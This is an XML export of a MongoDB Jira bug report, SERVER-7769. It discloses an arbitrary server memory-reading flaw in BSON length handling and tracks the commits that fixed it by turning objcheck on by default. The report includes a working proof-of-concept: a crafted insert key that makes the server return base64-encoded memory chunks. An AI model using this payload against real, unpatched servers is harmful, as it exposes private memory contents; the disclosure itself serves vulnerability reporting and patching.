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    <title>MongoDB Jira</title>
    <link>https://jira.mongodb.org</link>
    <description>This file is an XML representation of an issue</description>
    <language>en-us</language>    <build-info>
        <version>9.7.1</version>
        <build-number>970001</build-number>
        <build-date>13-04-2023</build-date>
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<item>
            <title>[SERVER-7769] use --objcheck by default, Server arbitrary memory reading</title>
                <link>https://jira.mongodb.org/browse/SERVER-7769</link>
                <project id="10000" key="SERVER">Core Server</project>
                    <description>&lt;p&gt;The specialists of the Positive Research center have detected &quot;Server arbitrary memory reading&quot; vulnerability in MongoDB application.&lt;/p&gt;

&lt;p&gt;Cause of incorrect execution of BSON-document length in column name in the insert command it&#8217;s possible to insert a record which can contain a base64-encrypted server memory chunks.&lt;/p&gt;


&lt;p&gt;Example of use:&lt;/p&gt;

&lt;p&gt;Suppose you have a table &quot;dropme&quot; with write permission.&lt;/p&gt;

&lt;p&gt;Execute the following command with a result:&lt;/p&gt;

&lt;p&gt;&amp;gt; db.dropme.insert(&lt;/p&gt;
{&quot;\x16\x00\x00\x00\x05hello\x00\x010\x00\x00\x00world\x00\x00&quot; : &quot;world&quot;}
&lt;p&gt;)&lt;br/&gt;
&amp;gt; db.dropme.find()&lt;/p&gt;
{ &quot;_id&quot; : ObjectId(&quot;50857a4663944834b98eb4cc&quot;), &quot;&quot; : null, &quot;hello&quot; : BinData(0,&quot;d29ybGQAAAAACREAAAAQ/4wJSCCPCeyFjQkRAAAAAAAAAAAAWbcQAAAAMQAAAAEAAABgcicICAAAAAcAAACgKo0JABw5NAMAAAAAAAAAAAAAAMQ3jAlmAGkAQQAAAEIAaQBuAEQAYQB0AGEAKAAxADEAOQAsACIAYgAzAEoAcwBaAEEAQQBBAEEAQQBBAD0AIgApAAAAdABSAFEAAAAiAGgAZQBsAGwAbwAiACAAOgAgAEIAaQBuAEQAYQB0AGEAKAAxADEAOQAsAC...........................ACkALAAgACIAFg==&quot;) }

&lt;p&gt;After base64-code decryption you can get bytes from random server memory chunks.&lt;/p&gt;

&lt;p&gt;Credits&lt;/p&gt;

&lt;p&gt;The vulnerability was discovered by Mikhail Firstov, Positive Research Center (Positive Technologies Company)&lt;/p&gt;</description>
                <environment></environment>
        <key id="57566">SERVER-7769</key>
            <summary>use --objcheck by default, Server arbitrary memory reading</summary>
                <type id="1" iconUrl="https://jira.mongodb.org/secure/viewavatar?size=xsmall&amp;avatarId=14703&amp;avatarType=issuetype">Bug</type>
                                            <priority id="3" iconUrl="https://jira.mongodb.org/images/icons/priorities/major.svg">Major - P3</priority>
                        <status id="6" iconUrl="https://jira.mongodb.org/images/icons/statuses/closed.png" description="The issue is considered finished, the resolution is correct. Issues which are closed can be reopened.">Closed</status>
                    <statusCategory id="3" key="done" colorName="success"/>
                                    <resolution id="9">Done</resolution>
                                        <assignee username="eliot">Eliot Horowitz</assignee>
                                    <reporter username="ymaryshev">Yury</reporter>
                        <labels>
                    </labels>
                <created>Tue, 27 Nov 2012 08:05:06 +0000</created>
                <updated>Mon, 11 Jul 2016 17:59:27 +0000</updated>
                            <resolved>Thu, 20 Dec 2012 03:24:21 +0000</resolved>
                                                    <fixVersion>2.3.2</fixVersion>
                                                        <votes>1</votes>
                                    <watches>12</watches>
                                                                                                                <comments>
                            <comment id="219941" author="auto" created="Thu, 20 Dec 2012 03:19:59 +0000"  >&lt;p&gt;Author:&lt;/p&gt;
{u&apos;date&apos;: u&apos;2012-12-20T03:15:03Z&apos;, u&apos;email&apos;: u&apos;eliot@10gen.com&apos;, u&apos;name&apos;: u&apos;Eliot Horowitz&apos;}
&lt;p&gt;Message: &lt;a href=&quot;https://jira.mongodb.org/browse/SERVER-7769&quot; title=&quot;use --objcheck by default, Server arbitrary memory reading&quot; class=&quot;issue-link&quot; data-issue-key=&quot;SERVER-7769&quot;&gt;&lt;del&gt;SERVER-7769&lt;/del&gt;&lt;/a&gt; - turn objcheck on by default and use new fast bson validate&lt;br/&gt;
Branch: master&lt;br/&gt;
&lt;a href=&quot;https://github.com/mongodb/mongo/commit/f9817a6cf64bdba8e1e1cef30a798110df746b58&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://github.com/mongodb/mongo/commit/f9817a6cf64bdba8e1e1cef30a798110df746b58&lt;/a&gt;&lt;/p&gt;</comment>
                            <comment id="218287" author="auto" created="Tue, 18 Dec 2012 14:41:06 +0000"  >&lt;p&gt;Author:&lt;/p&gt;
{u&apos;date&apos;: u&apos;2012-12-18T14:40:08Z&apos;, u&apos;name&apos;: u&apos;Eliot Horowitz&apos;, u&apos;email&apos;: u&apos;eliot@10gen.com&apos;}
&lt;p&gt;Message: &lt;a href=&quot;https://jira.mongodb.org/browse/SERVER-7769&quot; title=&quot;use --objcheck by default, Server arbitrary memory reading&quot; class=&quot;issue-link&quot; data-issue-key=&quot;SERVER-7769&quot;&gt;&lt;del&gt;SERVER-7769&lt;/del&gt;&lt;/a&gt; - fast bson validate&lt;br/&gt;
Branch: master&lt;br/&gt;
&lt;a href=&quot;https://github.com/mongodb/mongo/commit/6889d1658136c753998b4a408dc8d1a3ec28e3b9&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://github.com/mongodb/mongo/commit/6889d1658136c753998b4a408dc8d1a3ec28e3b9&lt;/a&gt;&lt;/p&gt;</comment>
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                <issuelinks>
                            <issuelinktype id="10010">
                    <name>Duplicate</name>
                                                                <inwardlinks description="is duplicated by">
                                        <issuelink>
            <issuekey id="56734">SERVER-7691</issuekey>
        </issuelink>
            <issuelink>
            <issuekey id="62902">SERVER-8272</issuekey>
        </issuelink>
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                            <issuelinktype id="10012">
                    <name>Related</name>
                                                                <inwardlinks description="is related to">
                                        <issuelink>
            <issuekey id="44830">SERVER-6519</issuekey>
        </issuelink>
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